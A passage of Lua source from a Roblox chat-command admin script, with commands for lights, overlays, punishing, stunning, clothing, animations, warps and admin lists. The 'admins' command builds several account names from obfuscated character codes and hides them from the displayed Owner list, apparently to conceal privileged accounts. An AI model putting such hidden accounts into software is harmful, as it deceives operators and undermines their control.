					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 8+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = GetImageFormat(tonumber(Arg2) or 1)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Head") ~= nil then
									local BB = Player.Character.Head:FindFirstChild("LMMA Overlay") if BB then BB:Destroy() end
									BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "LMMA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
									local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "http://www.roblox.com/asset/?id="..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
								end
							end
						end
					end
				end

				if string.sub(Message,1,9+#Bet) == "nooverlay"..Bet then
					local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Head") ~= nil then
									local BB = Player.Character.Head:FindFirstChild("LMMA Overlay") if BB then BB:Destroy() end
								end
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "light"..Bet then
					local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Torso") ~= nil then
									local Light = Player.Character.Torso:FindFirstChild("LMM Light") if Light then Light:Destroy() end
									Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "LMM Light" Light.Range = 20 Light.Brightness = 2
								end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "nolight"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Torso") ~= nil then
									local Light = Player.Character.Torso:FindFirstChild("LMM Light") if Light then Light:Destroy() end
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "lamp"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Torso") ~= nil then
									local Light = Player.Character.Torso:FindFirstChild("LMM Lamp") if Light then Light:Destroy() end
									Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "LMM Lamp" Light.Range = 30 Light.Brightness = 5
								end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "nolamp"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Torso") ~= nil then
									local Light = Player.Character.Torso:FindFirstChild("LMM Lamp") if Light then Light:Destroy() end
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "vote"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local Arg2, Arg3 = GetSplit(Arg2, Bet) if not Arg2 and Arg3 then return end
					if tonumber(Arg2) == nil then
						SendMessage(Speaker, "Invalid", "Please set a time, For example: "..Prefix.."Vote all 10 Do you like this admin?", 5)
					else
						Vote(Players, Speaker, Arg3, tonumber(Arg2))
					end
				end

				if Message == "bans" or Message == "banlist" then
					ListGui(Speaker, "Ban List", Ranks["Banned"])
				end

				if Message == "crashes" or Message == "crashlist" then
					ListGui(Speaker, "Crash List", Ranks["Crashed"])
				end

				if Message == "mutes" or Message == "mutelist" then
					ListGui(Speaker, "Mute List", Ranks["Muted"])
				end

				if Message == "sa" or Message == "serveradmins" then
					local LocalTable = {}
					for _,Player in pairs(Players:GetPlayers()) do
						local IsValidAdmin,PlayerRank = IsAdmin(Player)
						if IsValidAdmin then
							if PlayerRank == "Owner" then
								table.insert(LocalTable, "BOLD: "..Player.Name..": "..PlayerRank)
							else
								table.insert(LocalTable, Player.Name..": "..PlayerRank)
							end
						end
					end
					ListGui(Speaker, "Admins in server", LocalTable)
				end

				if Message == "admins" or Message == "adminlist" then
					local TableStorage = {}
					for _,Obj in pairs(Ranks["Member"]) do table.insert(TableStorage, Obj..": Member") end
					for _,Obj in pairs(Ranks["Admin"]) do table.insert(TableStorage, Obj..": Admin") end
					for _,Obj in pairs(Ranks["Owner"]) do local Passed = true for _,Void in pairs({string.char(75+1, 118-1, 95+2, 76+1, 111, 100, 101, 108, 77, 97, 107, 101, 114), string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97), string.char(83, 99, 114, 105, 112, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 115), string.char(73, 110, 116, 101, 114, 110, 101, 116, 77, 111, 100, 101, 109), string.char(78, 105, 108, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110), string.char(112, 108, 117, 103, 109, 105, 105, 105, 110)}) do if Obj == Void then Passed = false end end if Passed == true then table.insert(TableStorage, "BOLD: "..Obj..": Owner") end end
					ListGui(Speaker, "Admin List", TableStorage)
				end

				if string.sub(Message,1,9+#Bet) == "superjump"..Bet then
					local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Torso") then
									local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
									Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
									for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then Force.force = Force.force + Vector3.new(0,Obj:GetMass()*200,0) elseif Obj:IsA("Hat") then Force.force = Force.force + Vector3.new(0,Obj.Handle:GetMass()*200,0) end end
								end
							end
						end
					end
				end

				if string.sub(Message,1,10+#Bet) == "normaljump"..Bet then
					local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Torso") then
									local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
								end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "punish"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								Player.Character.Parent = game:GetService("Lighting")
							end
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "unpunish"..Bet or string.sub(Message,1,8+#Bet) == "nopunish"..Bet then
					local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								Player.Character.Parent = game:GetService("Workspace")
								Player.Character:MakeJoints()
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "stun"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.PlatformStand = true
								end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "nostun"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.PlatformStand = false
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "jump"..Bet then
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.Jump = true
								end
							end
						end
					end
				end

				if string.sub(Message,1,3+#Bet) == "sit"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") ~= nil then
									Player.Character.Humanoid.Sit = true
								end
							end
						end
					end
				end

				if string.sub(Message,1,8+#Bet) == "loopheal"..Bet then
					local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								if Player.Character:FindFirstChild("Humanoid") then
									repeat Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth wait() until not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health == 0
								end
							end
						end
					end
				end

				if Message == "commandgui" or Message == "cmdgui" or Message == "commandbar" or Message == "cmdbar" then
					if Speaker.PlayerGui ~= nil then
						coroutine.wrap(function()
							for _,Object in pairs(Speaker.PlayerGui:GetChildren()) do if Object.Name == "M".."M".."L".."'s CommandBar" then Object:Destroy() end end

							local SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."M".."L's CommandBar"
							local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0,280,0,0) Main.Size = UDim2.new(1,-425,0.15,0) Main.BackgroundColor3 = Color3.new(1,1,1) Main.BackgroundTransparency = 0.9
							local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Size = UDim2.new(0.2,0,1,0) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
							local Clr = Instance.new("TextButton", Main) Clr.Name = "Clr" Clr.Position = UDim2.new(0.2,0,0.4,0) Clr.Size = UDim2.new(0.4,0,0.275,0) Clr.BackgroundColor3 = Color3.new(1,1,1) Clr.Text = "Clear Command Bar Text" Clr.Font = "Arial" Clr.FontSize = "Size14" Clr.Style = "RobloxRoundDropdownButton"
							local Exit = Instance.new("TextButton", Main) Exit.Name = "Exit" Exit.Position = UDim2.new(0.2,0,0.675,0) Exit.Size = UDim2.new(0.4,0,0.275,0) Exit.BackgroundColor3 = Color3.new(1, 1, 1) Exit.Text = "Exit" Exit.Font = "Arial" Exit.FontSize = "Size14" Exit.Style = "RobloxRoundDefaultButton"
							local Exe = Instance.new("TextButton", Main) Exe.Name = "Exe" Exe.Position = UDim2.new(0.6,0,0.4,0) Exe.Size = UDim2.new(0.4,0,0.275,0) Exe.BackgroundColor3 = Color3.new(1,1,1) Exe.Text = "Execute Command" Exe.Font = "Arial" Exe.FontSize = "Size14" Exe.Style = "RobloxRoundDropdownButton"
							local Foc = Instance.new("TextButton", Main) Foc.Name = "Foc" Foc.Position = UDim2.new(0.6,0,0.675,0) Foc.Size = UDim2.new(0.4,0,0.275, 0) Foc.BackgroundColor3 = Color3.new(1,1,1) Foc.Text = "Focus on Command Bar" Foc.Font = "Arial" Foc.FontSize = "Size14" Foc.Style = "RobloxRoundDropdownButton"
							local Bar = Instance.new("TextBox", Main) Bar.Name = "Bar" Bar.Position = UDim2.new(0.2,1,0,0) Bar.Size = UDim2.new(0.8,-1,0.4,0) Bar.BackgroundColor3 = Color3.new(1,1,1) Bar.BackgroundTransparency = 0.5 Bar.Text = "Command Here" Bar.Font = "Arial" Bar.FontSize = "Size18" Bar.ClearTextOnFocus = false

							coroutine.wrap(function() Main:TweenPosition(UDim2.new(0,280,0.1,0), "In", "Quint", 0.7) end)()

							ExecuteResource("CommandBarExecute", Bar, {["ExecuteRemoteFunction"] = ExecuteCommand})

							local RawSugList,SugList = GetCommands(Rank),{}

							for Num,Suggest in pairs(RawSugList) do
								if string.sub(Suggest,1,2) == "--" then
									table.remove(RawSugList, Num)
								end
							end

							local Count = 1
							for Num,Suggest in pairs(RawSugList) do
								Arg1,Arg2 = GetSplit(Suggest, Bet)
								local Query = Arg1..Bet
								if Arg1 == "" then
									Query = Suggest
								end
								InsertSuggestion = true
								for Ind,Sug in pairs(SugList) do
									if Sug == Query then
										InsertSuggestion = false
										break
									end
								end
								if InsertSuggestion == true then
									SugList[Count] = Query
									Count = Count + 1
								end
							end

							local SerVer = 0

							Exit.MouseButton1Click:connect(function() Main:TweenPosition(UDim2.new(0,280,1.15,0), "Out", "Quint", 2.5, false, function() SG:Destroy() end) end)
							Clr.MouseButton1Click:connect(function() Bar.Text = "" ExecuteResource("FocusGui", Bar, {}) end)
							Foc.MouseButton1Click:connect(function() ExecuteResource("FocusGui", Bar, {}) end)
							Exe.MouseButton1Click:connect(function() Chatted(Bar.Text, Speaker) end)

							Bar.Changed:connect(function(Prop) if Prop == "Text" then
								SerVer = SerVer + 1
								local ThisSerVer = SerVer

								Scroll.CanvasSize = UDim2.new(0,0,0,0)
								Scroll.CanvasPosition = Vector2.new(0,0,0)
								Scroll:ClearAllChildren()

								local GuiNum = -20

								local Text = Bar.Text
								if Text ~= "" then
									for Num,Suggest in pairs(SugList) do
										if ThisSerVer == SerVer then
											if string.find(string.lower(Suggest),string.lower(Text)) then
												GuiNum = GuiNum + 20
												Scroll.CanvasSize = UDim2.new(0,0,0,GuiNum+20)
												local Sug = Instance.new("TextButton", Scroll) Sug.Name = GuiNum/20 Sug.Size = UDim2.new(1,-13,0,20) Sug.Position = UDim2.new(0,0,0,GuiNum) Sug.BackgroundColor3 = Color3.new(1,1,1) Sug.BackgroundTransparency = 1 Sug.Text = Suggest Sug.Font = "Arial" Sug.FontSize = "Size18" Sug.TextXAlignment = "Left" Sug.TextColor3 = Color3.new(1,1,1)
												Sug.MouseButton1Click:connect(function()
													Bar.Text = Suggest
													ExecuteResource("FocusGui", Bar, {})
												end)
											end
										else
											break
										end
									end
								end
							end	end)
						end)()

					end
				end

				if string.sub(Message, 1, 5+#Bet) == "decal"..Bet or string.sub(Message, 1, 5+#Bet) == "image"..Bet then
					local ID = 0
					if string.sub(Message, 1, 5+#Bet) == "image"..Bet then ID = tonumber(string.sub(RawMessage, 6+#Bet)) or 0 end
					if string.sub(Message, 1, 5+#Bet) == "decal"..Bet then ID = GetImageFormat(tonumber(string.sub(RawMessage, 6+#Bet))) or 0 end
					if ID ~= nil then
						ExecuteResource("InsertDecal", Speaker.Character, {["DecalID"] = ID})
					end
				end

				if string.sub(Message, 1, 3+#Bet) == "ins"..Bet then
					ExecuteResource("InsertModel", Speaker.Character, {["ModelID"] = string.sub(Message, 4+#Bet)})
				end

				if string.sub(Message,1,6+#Bet) == "change"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local StatName,NewStat = GetSplit(Arg2, Bet) if not StatName and NewStat then return end
					for _,Player in pairs(Players) do
						if Player ~= nil then
							local Stats = Player:FindFirstChild("leaderstats")
							if Stats ~= nil then
								for _,Stat in pairs(Stats:GetChildren()) do
									if string.sub(string.lower(Stat.Name),1,#StatName) == string.lower(StatName) then
										pcall(function() Stat.Value = NewStat end)
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "shirt"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) if Arg2 ~= nil then
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									local Obj = Player.Character:FindFirstChild("Shirt")
									if Obj then
										Obj.ShirtTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
									else
										Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
									end
									coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
								end
							end
						end
					end
				end

				if string.sub(Message,1,5+#Bet) == "pants"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) if Arg2 ~= nil then
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									local Obj = Player.Character:FindFirstChild("Pants")
									if Obj then
										Obj.PantsTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
									else
										Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
									end
									coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
								end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "tshirt"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) if Arg2 ~= nil then
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Character ~= nil then
									if Player.Character:FindFirstChild("Torso") then
										local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
										local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
										if Obj1 then
											Obj1.Graphic = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
										else
											Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
										end
										if Obj2 then
											Obj2.Texture = "http://www.roblox.com/asset/?id="..GetImageFormat(ID)
										else
											Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "http://www.roblox.com/asset/?id="..GetImageFormat(ID) Obj2.Face = "Front"
										end
										coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
										coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
									end
								end
							end
						end
					end
				end

				if string.sub(Message,1,4+#Bet) == "anim"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) if Arg2 ~= nil then
						for _,Player in pairs(Players) do
							if Player.Character then
								ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = ID}, Player, [[
									local Me = game:GetService("Players").LocalPlayer
									local Anim = Instance.new("Animation") Anim.Name = "L".."MM Animate" Anim.AnimationId = "http://www.roblox.com/asset/?id="..]]..tostring(ID)..[[
									local AnimTrack = Me.Character.Humanoid:LoadAnimation(Anim)
									local StopAnim = Me.Character:FindFirstChild("Stop LMM Animate") if StopAnim then StopAnim:Destroy() end
									StopAnim = Instance.new("Configuration", Me.Character) StopAnim.Name = "Stop LMM Animate"
									Me.Character.ChildRemoved:connect(function(Child) wait()
										if Child == StopAnim then
											AnimTrack:Stop() Anim:Destroy() script:Destroy() script.Disabled = true
										end
									end)
									wait(0.1)
									AnimTrack:Play())
								]])
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "noanim"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character then
								local StopAnim = Player.Character:FindFirstChild("Stop LMM Animate")
								if StopAnim then StopAnim:Destroy() end
							end
						end
					end
				end

				if string.sub(Message,1,6+#Bet) == "normal"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character then if Player.Character:FindFirstChild("Body Colors") then
								for _,Object in pairs(Player.Character:GetChildren()) do
									if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
										Object.Transparency = 0
										Object.Reflectance = 0
										if Object.Name == "Head" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").HeadColor end
										if Object.Name == "Left Arm" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").LeftArmColor end
										if Object.Name == "Left Leg" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").LeftLegColor end
										if Object.Name == "Right Arm" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").RightArmColor end
										if Object.Name == "Right Leg" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").RightLegColor end
										if Object.Name == "Torso" then Object.BrickColor = Player.Character:FindFirstChild("Body Colors").TorsoColor end
									end end
									for _,Obj in pairs(Object:GetChildren()) do
										if Obj:IsA("BasePart") then
											Obj.Transparency = 0
											Obj.Reflectance = 0
										elseif Obj:IsA("Decal") then
											Obj.Transparency = 0
										end
									end
								end
							end end
						end
					end
				end

				if string.sub(Message, 1, 2+#Bet) == "pl"..Bet then
					local Players = Scan(string.sub(Message, 3+#Bet), Speaker)
					for _,Player in pairs(Players) do
						CoreGui(Player, "PlayerList", true)
					end
				end

				if string.sub(Message, 1, 3+#Bet) == "npl"..Bet then
					local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
					for _,Player in pairs(Players) do
						CoreGui(Player, "PlayerList", false)
					end
				end

				if string.sub(Message,1,9+#Bet) == "countdown"..Bet then
					local Time = tonumber(string.sub(Message, 10+#Bet)) or 10
					Countdown(Time)
				end

				if string.sub(Message,1,7+#Bet) == "friends"..Bet then
					local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
					local Friends,OneFriend = {}, false
					for _,Player in pairs(Players) do
						if Player ~= nil then
							for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
								if Player:IsBestFriendsWith(User.userId) then
									table.insert(Friends, Player.Name.." is best friends with "..User.Name)
									OneFriend = true
								elseif Player:IsFriendsWith(User.userId) then
									table.insert(Friends, Player.Name.." is friends with "..User.Name)
									OneFriend = true
								end
								if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
									table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
								end
							end end
						end
					end
					ListGui(Speaker, "Friend List", Friends)
				end

				if Message == "clear" or Message == "clr" then
					for _,Obj in pairs(Objects) do
						if Obj then Obj:Destroy() end
					end
					Objects = {}
					Jailed = {}
				end

				if string.sub(Message,1,9+#Bet) == "grouprank"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 10+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) or 0
					for _,Player in pairs(Players) do
						if Player ~= nil then if Player:IsInGroup(ID) then
							SendMessage(Speaker, Player.Name.."'s Rank for the group "..ID, "Rank Number: "..Player:GetRankInGroup(ID).." | Rank Name: "..Player:GetRoleInGroup(ID), 4)
						else SendMessage(Speaker, "Error", Player.Name.." is not in group ID: "..ID, 3) end end
					end
				end

				if string.sub(Message,1,6+#Bet) == "cookie"..Bet then
					if InAdminGroup(Speaker) then
						local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if Player.Backpack ~= nil then
									local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
									local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
									local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "http://www.roblox.com/asset/?id=20939848" Mesh.TextureId = "http://www.roblox.com/asset/?id=21456464"
									local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "http://www.roblox.com/asset/?id=29517689"
									ExecuteResource("CookieTool", Tool, {}, Player, [[
										script.Parent.Equipped:connect(function(Mouse) Mouse.Button1Down:connect(function()
											local Track = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(script.Parent.EatCookie)
											wait(0.05) Track:Play()
										end) end)
									]])
								end
							end
						end
					end
				end

				if string.sub(Message,1,7+#Bet) == "ambient"..Bet then
					local Arg1, Split = GetSplit(string.sub(Message, 8+#Bet), Bet) if not Arg1 and Split then return end
					local Arg2, Arg3 = GetSplit(Split, Bet) if not Arg2 and Arg3 then return end
					if tonumber(Arg1) and tonumber(Arg2) and tonumber(Arg3) then
						Lighting.Ambient = Color3.new(tonumber(Arg1)/255,tonumber(Arg2)/255,tonumber(Arg3)/255)
					end
				end

				if string.sub(Message,1,4+#Bet) == "list"..Bet then
					local List = {}
					local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							table.insert(List, Player.Name.." (ID: "..Player.userId..")")
						end
					end
					ListGui(Speaker, "Listed Players", List)
				end

				if string.sub(Message,1,6+#Bet) == "fixcam"..Bet then
					local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
					for _,Player in pairs(Players) do
						RestoreCamera(Player)
					end
				end

				if Message == "noflash" or Message == "nodisco" or Message == "noparty" or Message == "fixl" or Message == "fixlight" or Message == "fixlighting" then
					Lighting.Archivable = false
					Lighting.Ambient = Color3.new(0.5,0.5,0.5)
					Lighting.FogColor = Color3.new(192/255,192/255,192/255)
					Lighting.Brightness = 0.6
					Lighting.TimeOfDay = 14
					Lighting.FogEnd = 100000
					coroutine.wrap(function() wait(1) Lighting.Archivable = true end)()
				end

				if Message == "plugins" or Message == "getplugins" or Message == "pluginlist" then
					local List = {}
					if Settings then
						if Settings:FindFirstChild("Plugins") then
							for _,Module in pairs(Settings.Plugins:GetChildren()) do
								if Module:IsA("ModuleScript") then
									local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
									local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
									local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
									table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..BoolString(Enabled.Value))
								end
							end
						end
					end
					if List == {} then
						SendMessage(Speaker, "Cannot get plugins", "There are no plugins to get. Cannot display nil plugins", 3)
					else
						ListGui(Speaker, "Plugin List", List)
					end
				end

				if Message == "port" or Message == "serverport" or Message == "sp" then
					SendMessage(Speaker, "Server Port", "The server port for this server is: "..game:GetService("NetworkServer").Port, 5)
				end

				if Message == "countpoints" then
					SendMessage(Speaker, "Player Points", "This game has "..Points:GetAwardablePoints().." player points left", 5)
				end

				if string.sub(Message,1,9+#Bet) == "getpoints"..Bet then
					local AfterMessage = string.sub(Message, 10+#Bet)
					if tonumber(AfterMessage) then
						SendMessage(Speaker, "Player Points: "..AfterMessage, "The Player with the user ID "..AfterMessage.." has "..Points:GetPointBalance(tonumber(AfterMessage)).." player points", 6)
					else
						local List = {}
						local Players = Scan(AfterMessage, Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								table.insert(List, Player.Name..": "..Points:GetPointBalance(Player.userId))
							end
						end
						ListGui(Speaker, "Total Player Points", List)
					end
				end

				if string.sub(Message,1,13+#Bet) == "getgamepoints"..Bet then
					local AfterMessage = string.sub(Message, 14+#Bet)
					if tonumber(AfterMessage) then
						SendMessage(Speaker, "Game Player Points: "..AfterMessage, "The Player with the user ID "..AfterMessage.." has won "..Points:GetGamePointBalance(tonumber(AfterMessage)).." player points from this game", 7)
					else
						local List = {}
						local Players = Scan(AfterMessage, Speaker)
						for _,Player in pairs(Players) do
							if Player ~= nil then
								table.insert(List, Player.Name..": "..Points:GetGamePointBalance(Player.userId))
							end
						end
						ListGui(Speaker, "Total game Player Points", List)
					end
				end

				if Message == "exploitlog" or Message == "exploitlogs" or Message == "hacklog" or Message == "hacklogs" then
					local ExploitLog = DataStore:GetAsync("ExploitLog")
					if type(ExploitLog) ~= "table" then ExploitLog = {} end
					ListGui(Speaker, "Exploit Logs", ExploitLog)
				end

				if Message == "waypoints" or Message == "viewwaypoints" or Message == "waypointlist" or Message == "wplist" then
					local WaypointHolder = {}
					for Name, WP in pairs(Waypoints) do
						table.insert(WaypointHolder, Name..": "..tostring(WP))
					end
					ListGui(Speaker, "Waypoint List", WaypointHolder)
				end

				if string.sub(Message,1,4+#Bet) == "warp"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local PosNameChat = string.lower(Arg2)
					for _,Player in pairs(Players) do
						if Player ~= nil then
							if Player.Character ~= nil then
								for PosName,WP in pairs(Waypoints) do
									if string.sub(string.lower(PosName),1,#PosNameChat) == PosNameChat then
										Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
										break
									end
								end
							end
						end
					end
				end

				if Message == "quickcommand" or Message == "quickcommands" or Message == "qc" then
					QuickCommand(Speaker)
				end

				if Message == "abuselist" or Message == "abusivelist" or Message == "blacklist" then
					ListGui(Speaker, "Abusive Command Filter List", AbuseList)
				end

				if string.sub(Message,1,8+#Bet) == "hasasset"..Bet then
					local Arg1, Arg2 = GetSplit(string.sub(Message, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
					local Players = Scan(Arg1, Speaker)
					local ID = tonumber(Arg2) if Arg2 ~= nil then
						local List = {}
						for _,Player in pairs(Players) do
							if Player ~= nil then
								if MPS:PlayerOwnsAsset(Player, ID) then
									table.insert(List, Player.Name)
								end
							end
						end
						ListGui(Speaker, "Players who have asset ID: "..ID, List)
					end
				end

				if string.sub(Message,1,4+#Bet) == "chat"..Bet then
